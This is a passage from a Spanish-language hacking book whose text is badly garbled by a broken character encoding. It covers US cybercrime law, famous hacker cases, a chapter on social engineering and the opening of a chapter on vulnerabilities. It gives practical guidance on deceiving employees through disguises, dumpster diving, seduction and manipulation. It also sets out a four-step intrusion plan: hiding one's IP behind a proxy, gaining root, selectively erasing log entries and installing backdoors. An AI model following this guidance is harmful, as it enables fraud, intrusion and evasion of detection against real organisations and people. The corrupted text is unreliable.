de la ley P"6N3<6 0Provide "ppropriate 6ools Ne!uired to 3ntercept and <bstruct
6errorism "ct1 dice= -l que* a sa%iendas* 3aga trans(isin de un progra(a* infor(acin*
cdigo o co(andos + co(o resultado de esa conducta intencionada* cause da4os sin
autoriNacin* a un ordenador protegido =es una violacin de este estatuto?. 2sto significa
!ue, como se mencion anteriormente, los hackers se han convertido en terroristas para
los estadounidenses. .omo si eso no fuera suficiente, ser considerado un terrorista
prcticamente significa cadena perpetua.
Se est elaborando un conunto de nuevas leyes 0de hecho la ratificacin legal de la
(octrina +ush1 llamada C/ey de Seguridad -acionalD, !ue se compromete a estrechar el
cerco a los enemigos de los 2stados :nidos en todos los frentes= militar, comercial,
poltico, y digital. Se espera ver pronto acciones paramilitares estadounidenses en otros
pases para arrestar o asesinar a personas acusadas de piratera.
/a ley de 22.::. puede servir de modelo para definir las normas mundiales !ue se
discuten actualmente en la 3nterpol, !ue ha creado una divisin especial, la C<ficina de
(elitos de "lta 6ecnologaD, para combatir los delitos electrnicos
= 5n 5uro7a
/a mayora de los grupos europeos tomaron medidas similares a las de los 2stados
:nidos. 6odo se basa en el seguimiento de la informacin personal sin previo aviso,
dando poder a sus agentes para abrir los bu#ones de correo de cual!uier proveedor. /a
adopcin del modelo norteamericano demuestra, una ve# ms, !ue el mundo est a punto
de establecer una slida estrategia de lucha contra la ciberdelincuencia, !ue
comprometer seriamente la accin de los vndalos digitales. .omo efecto secundario,
tambi$n perudicara a algunos derechos y la privacidad de reconocidos ciudadanos
inocentes 04;talos a todosG :no de ellos es un terrorista ...41.
Casos famosos de 8ackers
Para el gobierno son criminales. Para la nacin hacker, h$roes. Vamos a presentar dos
casos conocidos de aplicacin de leyes contra delitos electrnicos. (mitry Sklayrov y
Sevin ;itnick son dos grandes eemplos de cmo el derecho internacional relacionado
con la invasin, la piratera de softPare y el uso de ingeniera social se aplican en la
realidad.
= 5l ruso +ue 8ackeo el *do&e
2l programador ruso (mitry Sklayrov fue acusado de vender una herramienta !ue rompe
las medidas de seguridad del programa C"dobe +ook NeaderD despu$s de dar una charla
de seguridad en (ef.on en ulio de &''1. 2l C"dvanced e+ook ProcessorD puede romper
la seguridad de las contrase)as creadas por "dobe, transformando un eFbook cifrado en
un simple P(M. 2staba enmarcado en la ley !ue busca proteger los derechos de
propiedad intelectual para los productos digitales, el C(igital ;illennium .opyright "ctD,
disposicin horrenda y na#i conocida como la (;.".
100
ikimilikiliklik Universidad H4CK3R
/o ms e5tra)o de todo es !ue "dobe decidi retirar los cargos. /as crticas
internacionales y las amena#as de boicot fueron las principales ra#ones !ue causaron !ue
la empresa hiciese un e5amen de conciencia. Sin embargo, la situacin de (mitry no
meor , debido a !ue el gobierno de los 22.::. -o retir los cargos.
(espu$s de pagar una multa de I'.''' dlares y ser encarcelado en .alifornia por cinco
meses, el ruso gano la libertad a trav$s de un acuerdo en el !ue apoyara a el gobierno de
los 22.::. /a condicin impuesta fue !ue fuese vigilado durante un a)o, y slo entonces
sera absuelto por completo.
= 5l 8acker mFs famoso del mundo
:no de los mayores dolos de la nacin hacker. /a historia de Sevin ;itnick dara material
para una enciclopedia. 2n 1BAB era buscado por el M+3 acusado de robar un programa de
investigacin secreta de C(igital 2!uipment .orpD. * un tribunal de 22.::. dictamin !ue
el pirata informtico fuese encarcelado sin derecho a fian#a. /a .orte lo ustific diciendo
!ue representaba una amena#a para la comunidad e incluso la seguridad nacional si
utili#aba un teclado.
(espu$s de un a)o de prisin, ;itnick fue puesto en libertad, pero pronto estaba violando
los t$rminos de su libertad condicional. 2n 1BB& fue sospechoso de haber roto los
sistemas informticos y acceder a los registros del M+3. 2n noviembre de ese a)o, ;itnick
desapareci misteriosamente sin dear rastro. /as autoridades pensaron !ue estaba
utili#ando identidades falsas para ocultarse.
2n 1BB?, el hacker se top con el e5perto en seguridad 6sutomu Shimomura, del .entro
-acional de Supercomputacin de San (iego, .alifornia. Haba cambiado el sistema
personal de Shimomura, !ue estaba indignado, por!ue se consideraba de los meores
e5pertos en seguridad del pas. ;itnick gano acceso a trav$s de un ordenador en la
:niversidad de /oyola en .hicago, autori#ada a enviar informacin a la m!uina del
e5perto. " partir de ese momento, se estableci un guion, de acuerdo con el M+3, para
encontrar al hacker. Shimomura instalo un ordenador para monitori#ar todas las acciones
reali#adas en su propio e!uipo.
;itnick no tena ni idea de la operacin montada y continu con los ata!ues. 2l 1I de
febrero de 1BBI, fue locali#ado. Pas cinco a)os en la crcel despu$s de invadir
empresas como ;otorola y -okia. (urante este tiempo, una legin de seguidores
lucharon por su libertad, organi#ando movimientos como Mree ;itnick. 6odava tiene &9
cargos pendientes por fraude telefnico, uso ilegal de dispositivos para evitar tarifas, y es
considerado como 4terrorista informtico4 por el gobierno de los 22.::.
101
ikimilikiliklik Universidad H4CK3R
3ngeniera
Social
.apitulo F J
Mor hard cash Pe Pill lie and deceive.
"nd even our masters donYt knoP the Pebs
Pe Peave 4
Pink Mloyd,4(ogs of Oar4
Por dinero 0en efectivo1 mentiremos y enga)aremos.
2 incluso nuestros amos no saben las redes !ue teemos 4
Pink Mloyd, 4Perros de la guerra4
102
ikimilikiliklik Universidad H4CK3R
2ste captulo es bastante corto en comparacin con otros, y menos t$cnico. 6ambi$n es
aparentemente el ms aleado del temario esperado en un libro como $ste. Pero no se
e!uivo!uen= /a informacin contenida en este capitulo es la ms importante de todo el
libro. :n ata!ue muy complicado puede convertirse en algo muy simple, si se emplea la
ingeniera social. Por lo tanto, antes de estruarte la cabe#a con soluciones
e5clusivamente t$cnicas, piensa primero !ue, enga)ar al obetivo y hacerlo trabaar para ti
desde dentro, es mucho ms rpido.
2l obetivo de las t$cnicas !ue vamos ha mostrar, es la ad!uisicin de informaciones
vitales sobre el obetivo. Por informaciones vitales, ms all de los datos obvios
0financieros, personales y err!uicos1, se entiende, las particularidades en lo relativo a
polticas de la empresa y sus soluciones t$cnicas= las instalaciones fsicas y topologas
lgicas, polticas de contrase)as y claves de cifrado.
/a ingeniera social puede parecer en un primer momento aleada del universo hacker.
+sicamente, significa 4escarbar4 en la informacin vital acerca de una persona, empresa,
producto u organi#acin. 2sta informacin proviene principalmente de personas cercanas
a la persona atacada, de sus propios empleados y de sus clientes F en el caso de las
empresas.
Por lo tanto, podemos utili#ar este t$rmino como sinnimo de espionae, el uso de tcticas
!ue van desde cartas y llamadas telefnicas, a b%s!uedas a trav$s de la basura, o al
abordae personal.
/as t$cnicas de ingeniera social re!uieren una preparacin psicolgica profunda y
continua. 2l aspirante a atacante debe estar listo para estudiar el comportamiento de su
blanco y comprender meor su modus operandi, incluyendo, incluso, un seguimiento de
horarios. 3ncluso reali#ando fuertes inversiones en seguridad, la mayora de las empresas
0si no todas1 no estn preparadas para hacer frente a este factor. Necuerde !ue un espa,
aprovechara la buena voluntad, la cortesa, la ingenuidad de la gente e incluso las propias
normas de la empresa para enga)ar a las vctimas.
*tenci/n. Oesto es un delito@
2l universo de la ingeniera social parece ser algo muy tentador. Pero a diferencia de los
delitos informticos !ue no tienen una legislacin bien definida en algunos pases, todas
las t$cnicas de ingeniera social mencionadas anteriormente se consideran delitos
punibles, !ue van desde el pago de multas a la detencin. /a interpretacin urdica se
basa en la configuracin de los actos de la ingeniera social como falsedad, !ue se
caracteri#a por la incorporacin de una suplantacin de identidad 0simulacro1, seguida por
un delito de fraude. (ependiendo del uso o destino de la informacin recibida 0por
eemplo, en caso de fraude financiero1, el atacante tambi$n responder al delito de
malversacin de fondos.
2l propsito de este captulo es demostrar superficialmente las t$cnicas utili#adas en la
ingeniera social. 2s importante !ue todos sepan estas t$cnicas, pero no recomendamos
a nadie usarlas= las leyes de la mayora de los pases las consideran delitos, con penas
muy severas.
103
ikimilikiliklik Universidad H4CK3R
Ei7os de ata+ue
Hay bsicamente dos tipos de ata!ues= directos e indirectos. /a eficacia de ellos depende
de las habilidades personales de los hackers y de lo mucho !ue se identifi!uen con los
procesos. -ormalmente, se debe utili#ar una combinacin de ambos para lograr el
resultado deseado. Para llegar a la apro5imacin directa, el atacante debe tener una
buena coleccin de informacin obtenida indirectamente. Slo entonces 4sabe lo !ue
tiene !ue decir4 al dirigirse a un empleado de atencin al publico para obtener una
contrase)a !ue le de acceso al sistema o, al enviar un fa5 diciendo !ue es el gerente de
la sucursal solicitando informacin.
= *ta+ue indirecto
"ta!ue indirecto es el uso de herramientas de hacking 0tales como caballos de 6roya, y
sites con cdigo malicioso1 y falsificacin 0como cartas, correos electrnicos y sitios Peb
falsos con apariencia de reales1 para obtener informacin personal. /os usuarios
individuales de los !ue el hacker e5trae los datos slo son un factor de una entidad ms
grande F la empresa, organi#acin o gobierno. Su intencin no es atacar a cada uno de
estos usuarios, si no al organismo mayor al !ue pertenecen.
= *ta+ue directo
Se caracteri#an por el contacto personal. Por lo general son reali#ados por fa5 o por
tel$fono 0aun!ue los hackers ms osados se atreven a hacerlos personalmente ...1 y
re!uieren una planificacin detallada y anticipada, varios planes de emergencia para cada
fase del ata!ue planeado y un poco de arte. S, ser un buen atacante re!uiere ser un
buen actor. 2sto debe estar bien estructurado para !ue su plan no sea desenmascarado,
y tambi$n tener una imaginacin despierta para encontrar salidas en caso de !ue algo
vaya mal.
6os mBtodos utili>ados
<bviamente, toda esta charla acerca de los ata!ues directos e indirectos es muy vaga. 2n
la prctica, e5isten algunas tcticas sencillas !ue deben utili#arse en el desarrollo del
procedimiento de ata!ue. /as principales armas de un ingeniero social se pueden dividir
en dos grupos principales= la investigacin y la impostura. .omencemos con la
investigacin. /a ad!uisicin de materiales, tales como informes anuales y de nminas,
puede dar una buena idea de la erar!ua adoptada en la empresa. 2so ayuda mucho en
la seleccin de obetivos puntuales 0recuerde= un poco de informacin de cada usuario
ad!uiere un valor incalculable al reunirse con otras pe!ue)as pie#as de informacin de
otros usuarios1. 2l hacker puede saber !ui$n posee el material necesario para la invasin
y otra informacin importante para el ata!ue, como esta organi#ado el departamento en el
!ue trabaa la persona, softPare utili#ado, sistema operativo, hardPare y sistemas de
negocio.
6enga en cuenta !ue los datos %tiles no siempre estn escritos= es importante un anlisis
de los resultados de la b%s!ueda, incluyendo combinaciones y verificaciones. 4/eer entre
104
ikimilikiliklik Universidad H4CK3R
lneas4 nunca ha sido tan necesario >
Sin embargo, la investigacin es slo el comien#o. (espu$s de descubrir !uien tiene la
informacin y cual es esta, el hacker ha de pensar en formas de usarla para e5traer ms
datos. "!u es donde entra el enga)o= el hacker debe hacerse pasar por otras personas
0ya sean de la propia empresa, clientes, proveedores, agentes del gobierno1 para, en
posesin de la informacin !ue ya ha 4escarbado4, recopilar datos y documentos ms
serios y especficos, y especialmente valiosos.
" continuacin hablaremos de los m$todos utili#ados para obtener datos vitales de las
empresas, tanto en ata!ues directos como indirectos.
= Jisfraces
"l igual !ue un buen espa, el ingeniero social debe tener disfraces diferentes para lograr
sus obetivos. 2ntre ellos deben incluirse desde el de consere, hasta hacerse pasar por
un consultor de visita. " algunas empresas les encanta recibir consultores de empresas
famosas. Para ello, basta con !ue el hacker tenga un trae, buena labia y un pase
identificativo. 2l factor de la edad ya no es un problema tan grande, por!ue el perfil de los
profesionales de informtica es cada ve# ms oven, basta con trabaar la apariencia y el
lenguae !ue se utili#ar.
/a incorporacin del personae es un factor importante para el $5ito. 3magnese un hacker
disfra#ado de consere. \l simplemente no ira a la papelera, separara los papeles de su
inter$s y se dar la vuelta, seria muy e5tra)o !ue nadie sospechara. (ebe hacer todo el
trabao, desde limpiar la mesa ha barrer el suelo, consiguiendo ms ocasiones para
entender lo !ue pasa a su alrededor. (espu$s de un tiempo, la gente comien#a a confiar
ms y el atacante puede limpiar tran!uilamente las mesas llenas de material importante
para desarrollar el ata!ue con $5ito.
= 6a &asura es rica
/a basura de una oficina es potencialmente una fuente importante de informacin para el
hacker. Por lo general, es donde la gente tira los peda#os de papel sobre los !ue escriben
sus contrase)as antes de memori#arlas o transcribirlas a una agenda. Por otra parte, los
residuos procedentes de una gran empresa reciben decenas de informes !ue pueden
parecer triviales, pero de hecho tienen informacin, acerca del patrimonio de la compa)a,
los empleados registrados y detalles de los sistemas.
/a falta de atencin a este factor por s solo puede producir una invasin e5itosa y
tambi$n ayudar al atacante a limpiar sus huellas. " menudo, $l puede entrar para recoger
la basura del despacho del administrador. <bviamente, depende de la habilidad de los
hackers y lo mucho !ue realmente necesiten la informacin, de lo contrario, puede
esperar hasta !ue se recoa la basura normalmente, !ue sera lo mas recomendable.
= 6os em7leados descontentos - las redes de contactos
6al ve# sea la forma ms fcil de conseguir informacin dentro de una empresa. "
menudo puede tener un cierto precio 0no siempre en dinero ...1, esto depender del nivel
de insatisfaccin del empleado con la empresa en cuestin. 25plorar la fragilidad de
105
ikimilikiliklik Universidad H4CK3R
personas insatisfechas con las condiciones de trabao es mucho ms sencillo de lo !ue
imaginamos. 2s muy fcil para un administrador insatisfecho con el salario decir algo !ue
de alguna manera suponga un peruicio para sus superiores. -o siempre son %tiles
despu$s de salir o ser despedidos, por!ue la poltica de las empresas es cambiar sus
contrase)as.
-o hay !ue olvidar !ue los empleados de una empresa poseen una red de contactos
dentro y fuera de ella. 2sto tambi$n es vlido para los descontentos, !ue pueden
proporcionar a los hackers informacin valiosa acerca de otras personas y la manera de
acceder a ms datos.
= 6a a7elaci/n sentimental
2l atacante puede hacerse pasar por otra persona, mucho ms fcilmente en el mundo
virtual. Supongamos !ue un hacker !uiere invadir un ordenador cual!uiera en 3nternet. Se
conecta a un chat y observa la conversacin silenciosamente por un tiempo. "
continuacin, sale del chat y vuelve con un apodo del se5o opuesto a la vctima elegida. "
partir de este punto es fcil ganarse la confian#a del internauta y acceder a sus datos
personales ms importantes, utili#ando slo las t$cnicas de seduccin y con!uista, !ue
todos conocemos, pero !ue, aun as, funcionan. 6enga en cuenta !ue hombres y mueres
tienen diferentes maneras de ser seducidos y con!uistados.
= Programaci/n IeurolingPstica
"l comunicarse con cual!uier persona, puede utili#ar t$cnicas de programacin
neurolingRstica para confundir a la gente y hacerlos concordar con usted. 2sto se logra
de varias maneras, la ms obvia 0y funciona casi el 1''] de los casos1 hacer !ue la
vctima crea !ue, en realidad, la idea fue suya. :na de las t$cnicas para confundir a la
vctima se llama seguimiento de control= el hacker imita la forma de escribir, hablar y
gesticular de su interlocutor. Ha#lo por mucho tiempo durante la conversacin, hasta !ue
se forme un vnculo de intimidad y la vctima crea !ue todo est bao control, baando la
guardia. (esde ese momento, el hacker puede controlar la conversacin sin !ue la
vctima se d$ cuenta y sacar de ella todo lo !ue sea necesario.
= Uso de Internet
:na manera efica# para lograr la informacin deseada es utili#ando los formularios y los
registros de 3nternet. /os sitios !ue ofrecen regalos para a!uellos !ue se inscriban y
promociones !ue prometen todo tipo de premios, podran ser herramientas utili#adas por
los hackers para obtener una gran cantidad de informacin en 3nternet. Se incluyen los
datos personales y pistas sobre el comportamiento de la vctima. 2sta t$cnica se utili#a
principalmente para obtener n%meros de taretas de cr$dito y datos, tales como la .PM
0.atastro de Personas Msicas, l.ensom1 y el NT 0Negistro Teneral, l(-3m1.
= 5l factor suerte
Hay muchos casos donde los procedimientos de ingeniera social son facilitados por el
descuido de los usuarios y administradores de par!ues informticos de empresas. "
106
ikimilikiliklik Universidad H4CK3R
veces, incluso empresas muy seguras dean !ue se les escape una, y slo una
informacin, !ue no es obvia. Si el hacker tiene la suerte de trope#ar con esta
informacin, el proceso de ingeniera social puede reducirse varios das, a veces
semanas. <reille attentive et bon vouloirG 04odo atento y buena voluntad41
= Ia1egando 7or el mar 7ro8i&ido
(espu$s de invadidos, una computadora, un sitio Peb o un negocio son un complicado
rompecabe#as para el atacante. Hasta el momento tenia informacin sobre la periferia.
"hora tiene acceso sin restricciones a todas las reas del sitio invadido, pero para $l es
como un laberinto. /os controles de acceso a los usuarios internos de la empresa, por
eemplo, suelen ser menos estrictos !ue los procedimientos de seguridad de las partes
accesibles e5ternamente 0sitio Peb, correo electrnico y gatePays de 3nternet1. Sin
embargo, una ve# dentro, el atacante debe romper contrase)as, eludir los dispositivos de
seguridad o incluso volver a utili#ar la informacin para la ingeniera social cada ve# ms
cerca del n%cleo. 2ste es un proceso sin fin _F1
Casos reales
/os hackers !ue se enumeran en este 4Saln de la Mama4 ganaron notoriedad por sus
ata!ues muy bien dise)ados y las sumas fabulosas de dinero !ue pudieron mover. Pero
recuerde, los hackers, cuando son buenos en realidad, no se dean atrapar >
= *&ra8am *&dalla8
2n &''&, el hacker y lavaplatos "braham "bdallah recibi acusaciones de fraude del
orden de A'^ millones. :so la revista Morbes, !ue public una lista de las ?'' personas
ms ricas de los 22.::., rob los n%meros de varias taretas de cr$dito de personas
famosas. :tili#ando t$cnicas de ingeniera social, "bdallah enga)o a bancos y compa)as
de cr$dito para obtener la informacin para su golpe.
/leg a construir una red de apartados de correos para recibir los pedidos !ue hi#o con el
dinero robado. Mue descubierto por la polica al intentar retirar una cantidad por encima
del saldo e5istente de 6homas Siebel, fundador de la empresa de comercio electrnico
llamada Siebel Systems.
= Re1in 4itnick
Sevin ;itnick ha sido uno de los criminales ms buscados por el M+3 debido a los delitos
informticos !ue cometi. (espu$s de !uedar en libertad, ayud a fundar una empresa de
consultora especiali#ada en seguridad, C(efensive 6hinkingD. 2ste es un hecho !ue
sorprende mucho en realidad, por!ue ;itnick se convirti en un smbolo de la ingeniera
social para planificar y llevar a cabo sus ata!ues a los sistemas de grandes empresas a
nivel mundial.
\l us trucos de ingeniera social por primera ve# en los a)os @' cuando conoci a una
estudiante !ue ugueteaba con el 4phreaking4 0la piratera de las lneas telefnicas1. Se dio
cuenta de cmo actuaban los CphreakersD, haci$ndose pasar por empleados de
compa)as telefnicas. .omen# a probar con amigos y profesores y ha sentirse
107
ikimilikiliklik Universidad H4CK3R
motivado despu$s de comprobar !ue le resultaba fcil obtener informacin confidencial.
2voluciono su t$cnica hasta el punto de !ue ninguna empresa estaba segura contra sus
ata!ues.
Su lista incluye desde inocentes llamadas de tel$fono al servicio de soporte, hasta la
incorporacin de empleados clave para obtener informacin como contrase)as para
acceder a grandes sistemas de la empresas. Por eso, ;itnick se convirti en una leyenda
para la gente hacker en todo el mundo.
"dems de estos, podemos mencionar, con honores, otros hackers !ue utili#aron la
ingeniera social para conseguir sus obetivos=
F 2l polaco V3adimir /evin, !uien desvi ms de die# millones de dlares en cuentas en el
.itibank_
F Naphael Tray, !ue rob casi 9' mil taretas de cr$dito en los 2stados :nidos, uno de los
cuales 0!ue dice ser +ill Tates1, compr una caa de Viagra y se la remiti a s mismo_
F Zerme Heckenkamp, 3ngl$s &&, !ue pidi al ue# ser detenido despu$s de romper sitios
como e+ay, e6rade y /ycos_
Podramos llenar todo este libro citando hackers famosos. 2stos eemplos solo muestran
cmo las estructuras de seguridad, !ue ya estn mal en el campo tecnolgico, son peores
cuando el factor humano entra en uego.
108
ikimilikiliklik Universidad H4CK3R
Vulnerabilidades
I
.apitulo F @
43 am a PorldYs forgotten boy
6he one Pho searches and destroys
/ook out honey, cause 3Ym using technology
"inYt got time to make no apology4
6he Stooges, 4Search and (estroy4
4*o soy un chico olvidado del mundo
2l !ue busca y destruye
.uidado cari)o, por!ue estoy usando tecnologa
-o tengo tiempo para disculparme 4
6he Stooges, 4Search and (estroy4
109
ikimilikiliklik Universidad H4CK3R
3magnese una nacin como los 2stados :nidos de "m$rica. Muerte, rica, militarmente
invencible, tecnolgicamente muy por delante de cual!uier otra. 2s difcil imaginar !ue
una nacin como esta pueda perder una guerra !ue se libra en un pas leano. 3ncluso si
por alguna ra#n, pierde esa guerra, la defensa nacional nunca deara !ue un ata!ue
0militar o terrorista1 llegase cerca de las fronteras del pas. 7-o8
+ueno, el 11 de septiembre de claro !ue nadie puede predecirlo todo. /os terroristas
atacaron donde era ms fcil, a la gente com%n F los ciudadanos estadounidenses F y
actuaron en puntos vulnerables reconocibles X la pobre seguridad de los aeropuertos.
7Eui$n podra imaginar !ue los aviones comerciales se utili#ara como misiles para
derribar las torres del Oorld 6rade .enter en -ueva *ork8. +ien entendida, la idea es tan
loca !ue es brillante 0desde el punto de vista de los terroristas, por supuesto1 realmente
fue muy fcil hacer todo ese da)o.
/os administradores de sites y redes, e incluso los usuarios de computadoras comunes,
tienen el mismo dilema. -osotros aplicamos los parches de seguridad publicados por los
desarrolladores de los programas !ue utili#amos, instalamos firePalls, antivirus,
removedores de 6royanos y toda una parafernalia tecnolgica para descubrir, despu$s de
unos das, !ue no funciono= basto un ni)o de 1& a)os de edad con una fuerte voluntad y
malas intenciones para invadir nuestro sistema y montar un buen lo.
(esafortunadamente, hasta los usuarios ms ine5pertos deben preocuparse por la
seguridad de su informacin y sistemas informticos. Hoy no basta con sustituir la
cerradura de la puerta= Si el techo es de madera, los ladrones entran por el techo. "s
como modificamos nuestras casas para hacerlas mas seguras, debemos ser conscientes
de los agueros ocultos, !ue los programas !ue usamos muestran a los terribles
Csombreros negrosD.0 2n el captulo 1, Psicologa Hacker , vio varios tipos de hackers divididos por la
capacidad. Pero el vasto universo del submundo digital se puede dividir, sin tener en cuenta las habilidades
individuales, en la comunidad del bien y la legin del mal. 2l primer tipo se llaman sombreros blancos o
CPhite hatsD. /os maliciosos se llaman sombreros negros o Cblack hatsD. Hay !uienes trabaan en el umbral
de los dos tipos y se llaman sombreros grises 0grey hats1. 2n cambio, Ned Hat, 3nc. 0www.redhat.com1 no
tiene nada !ue ver al respecto ... 1
5l conce7to de 1ulnera&ilidad
2l estudio de las vulnerabilidades e5istentes debe ser parte de la rutina de los buenos
hackers 0err. .. de los malos, tambi$n ...1. 6odos los das, en foros de discusin y sitios
Peb especiali#ados, se liberan listas y ms listas de fallos en los sistemas operativos y
servidores. .onsiderando !ue usted est leyendo este libro y esta en este captulo, usted
est dispuesto a aprender. :tili#ar t$cnicas ya conocidas y publicadas, es el trampoln
para en el futuro descubrir las vulnerabilidades antes !ue los organismos de defensa.
3ncluso un hacker e5perimentado tiene !ue conocer estas listas, para los casos en los !ue
un usuario !uiera facilitar su trabao y dee su e!uipo desactuali#ado.
-ormalmente, hay tres tipos de fallos !ue se pueden e5plorar=
1. Mallos !ue afectan a la disponibilidad de la m!uina. 2sto se puede hacer de varias
maneras, una de ellas 0pero no la %nica1 es una denegacin de servicio 0(oS1.
&. /os defectos !ue permiten el acceso limitado al sistema. 2sto es lo !ue com%nmente
110
ikimilikiliklik Universidad H4CK3R
llamamos 4la invasin4. Mallos !ue incluyen defectos de softPare y configuracin 0es decir,
humanos1. /os fallos de softPare ms comunes pueden ser e5plotados directamente o a
trav$s de alg%n tipo de desbordamiento de pila 0el infame Cbuffer overfloPD1. * el error
humano ms com%n consiste en instalar un sistema o programa y no aplicar las
actuali#aciones y parches recomendados por el fabricante. 6ambi$n es com%n dear las
cuentas por defecto del sistema 0administrador, root, bin, operador, operador del
sistema ... la lista sigue1 activas o con las contrase)as por defecto.
9. /os defectos !ue permiten la eecucin de cdigo arbitrario en la m!uina. Puede ser el
siguiente paso del tipo anterior, o pueden ser e5plotadas directamente por alg%n tipo de
Ce5ploitD, siendo el desbordamiento de buffer muy com%n.
Hay otros tipos de fallos, pero en el fondo son especiali#aciones de estos tres grupos
principales. Si su meta es ser un usuario bien informado o el administrador, tener en
cuenta las listas de seguridad es un buen punto de partida, ya !ue la inmensa mayora de
los autodenominados hackersLcrackers slo son ni)os !ue !uieren sus C!uince minutos de
gloriaD. 2stos mocosos no suelen conocer nada ms all de las listas publicadas. 2s tu
obligacin hacer caso S32;PN2 de las llamadas de su proveedor de softPare y actuali#ar
los programas !ue utili#as para ser inmune a estos fallos. Si no, la suerte sea contigo=
estars a merced de adolescentes con muuuucho tiempo libre ...
= ;u7erlammers - su 1isi/n de ra-os G
.ual!uier falla de seguridad tiene caractersticas %nicas. .ada sistema operativo y cada
programa independiente tienen los suyos, pero la mayora de las vulnerabilidades permite
el acceso a #onas consideradas restringidas de servidores y ordenadores personales F 2n
pocas palabras, la estructura de directorios completa de todos los discos duros.
2l gran problema es !ue los lammers no tienen la menor idea de lo !ue estn haciendo. *
no !uieren tenerla= basta encontrar un sitio desprotegido, desconfigurar3o y disfrutar de
sus minutos de fama. .on su conocimiento limitado, a menudo utili#an un enfo!ue de tres
etapas para dirigir sus ata!ues=
@. 9Asqueda de equipos vulnera%les
/os lammers normalmente no tienen un obetivo determinado. -o buscan hacer da)o a
esa empresa o robar dinero de a!uel banco. 2n su lugar, buscan en 3nternet las
computadoras 0servidores o personales1 !ue son vulnerables a los tipos de ata!ues !ue
ellos conocen. Para ello, hacen uso de herramientas conocidas, tales como escneres,
!ue, despu$s de proporcionarles los datos de un conunto de m!uinas a testar,
devuelven listas con los !ue no estn protegidos. .mo es posible poner todo los rangos
de direcciones de 3nternet en ellos, estas listas pueden elevarse a cientos de ordenadores
y sistemas.
B. 'a invasin + la posesin
Sin embargo, descubrir las vulnerabilidades no es suficiente para hacer un ata!ue. :na
ve# !ue encuentran el blanco fcil, los scriptFkiddies 0otro nombre dado a los lammers1
hacen uso de otras herramientas para e5plorar los agueros !ue se encuentran.
111
ikimilikiliklik Universidad H4CK3R
-ormalmente, nuestros ni)os tienen a mano una biblioteca ra#onable de Ce5ploitsD F
scripts y programas para 4disfrutar4 de las debilidades de la vctima X para !ue su
descubrimiento no sea en vano. Hay e5ploits para 4derrumbar4 el e!uipo de destino y
controlarlo. "plicando el e5ploit apropiado, el lammer toma posesin del sistema y hace lo
!ue !uiere con el.
C. <anteni(iento del ataque
2l lammer sabe !ue su gloria durara poco y por lo tanto instala en el ordenador invadido
los programas !ue le permitan regresar a $l, aun!ue el aguero por donde entro sea
tapado. /lamados backdoors F literalmente, la puerta de atrs F son rutinas muy simples y
eficientes, utili#ando los recursos del propio sistema operativo, permiten al atacante
conectarse posteriormente con el sistema. 2s com%n instalar mas de un backdoor, y los
kiddies ms sofisticados llegan al punto de instalar entre ellos algunos fcilmente
detectables. 2sto confunde al administrador del e!uipo, haci$ndole creer !ue resolvi el
problema mediante la eliminacin de estos.
6enga en cuenta !ue este libro tiene la intencin de presentar esta puerta de entrada al
mundo subterrneo para el lector. -ing%n libro, publicacin, sitio de 3nternet o M"E va ha
ense)ar a nadie a ser hacker, ya !ue esto depende de a)os de estudio, el desarrollo
continuo y la abnegacin. 2n este captulo se e5aminan algunas de las herramientas y los
agueros de seguridad ms comunes en las computadoras y cmo e5plotarlos de la forma
ms efica#. <bviamente, a!u estamos todava en el terreno de los lammers. Pero a pesar
de ser procedimientos t$cnicamente simples, veremos !ue no son nada inocuos.
6os cuatro 7asos 7ara un 8acking feli>
:sted ha hecho toda la parte de ingeniera social 0lo !ue sera el paso cero de esta lista1
de la vctima. < se encuentran por casualidad una vctima durante sus largas noches de
b%s!ueda sin rumbo en 3nternet. Ha descubierto donde estn las brechas y !u$
herramientas utili#ar. "hora, solo falta invadir3a, pero la pregunta es= *cmo, 72s fcil8
7-o es una trampa8 7;i scanner me enga)8
/a respuesta a todo esto es la plani(icacin. /os pasos siguientes fueron compilados de
varios informes de hackersLcrackers. -o pretende ser un manual, pero pueden servir
como base para planificar ata!ues con $5ito. 2stn pensados para ata!ues a las redes
empresariales, pero pueden adaptarse para atacar, tambi$n, a los ordenadores
personales.
1. (espu$s de descubrir la vulnerabilidad, no trate de invadir a su presa inmediatamente.
"l contrario, cono#ca a su vctima. Visite su sitio Peb 0sin ata!ue, tan slo mirar1. Si esta
en su ciudad, visite su sede y trate de averiguar ms sobre los productos, trabaos,
servicios, empleados, hbitos ... Se pueden utili#ar t$cnicas pasivas 0de observacin para
ver lo !ue pasa y lo !ue sale de la m!uina o red1 o activas, tales como la organi#acin
de miniata!ues a lugares aislados y comprobar los mensaes !ue se devuelven. /o
importante es recoger informacin suficiente para elaborar un plan de accin, meor con
varias alternativas, en caso de !ue algo vaya mal.
112
ikimilikiliklik Universidad H4CK3R
&. 2l acceso por primera ve# nunca se olvida. 2sta es la parte ms importante del ata!ue.
Se podra decir !ue este paso es el ata!ue en s. (espu$s de descubrir la vulnerabilidad y
e5aminar el comportamiento de la vctima, utilice el Ce5ploitD adecuado para obtener un
acceso limitado al sistema. * no se olvide de usar un pro5y publico para ocultar su
direccin 3PG
9. :na ve# con acceso limitado, el siguiente paso consiste en tener acceso completo a la
m!uina 0acceso CrootD en :ni5, y de CadministradorD en sistemas Oin-6 F en OinB5, el
primer acceso ya proporciona un control total1. .ada sistema operativo tiene diferentes
procedimientos para hacerlo. :na ve# !ue tenga acceso sin restricciones, simplemente
recoa la informacin deseada y, si fuera el caso, desconfigure el sistema.
?. "hora !ue se ha 4apropiado4 del sistema, trate de borrar sus huellas e instalar puertas
traseras. .ompruebe los registros del sistema y borre lo !ue en $l se diga de su visita,
QP2N< S</< 2S<G. Nesista la tentacin de eliminar el registro del todo F un 4aguero4 en
el registro de sucesos har !ue el administrador descubra, antes de lo esperado, !ue
alguien estuvo pasendose por su e!uipo. (espu$s de hacer la ciruga en los logs, instale
backdoors. "lgunos hackers con ms e5periencia tienen el cuidado de parchear el
sistema para !uitar las puertas !ue les dearon entrar, evitando as !ue otros hackers
menos calificados entren en el sistema, y por descuido, alerten al administrador !ue se
invadi la m!uina.
"lgunos de los pasos deben repetirse, especialmente el segundo. 2n algunos casos es
necesario hacer varios miniata!ues 41 & 9 ?4, 41 & 9 ?4, hasta !ue se hayan encontrado y
e5plotado todas las lagunas de seguridad del sistema atacado. <bviamente estamos
hablando de sitios Peb y ordenadores devilmente monitori#ados= tenga en cuenta !ue
muchos sistemas tienen 3(S 03ntrusion (etection Systems1, !ue detecta scaneos y hace
auditoras de los logs del sistema 0lo !ue tu eliminas se almacena en un registro secreto
oculto1, aumentando as la probabilidad de !ue te descubran. 6ambi$n e5isten los
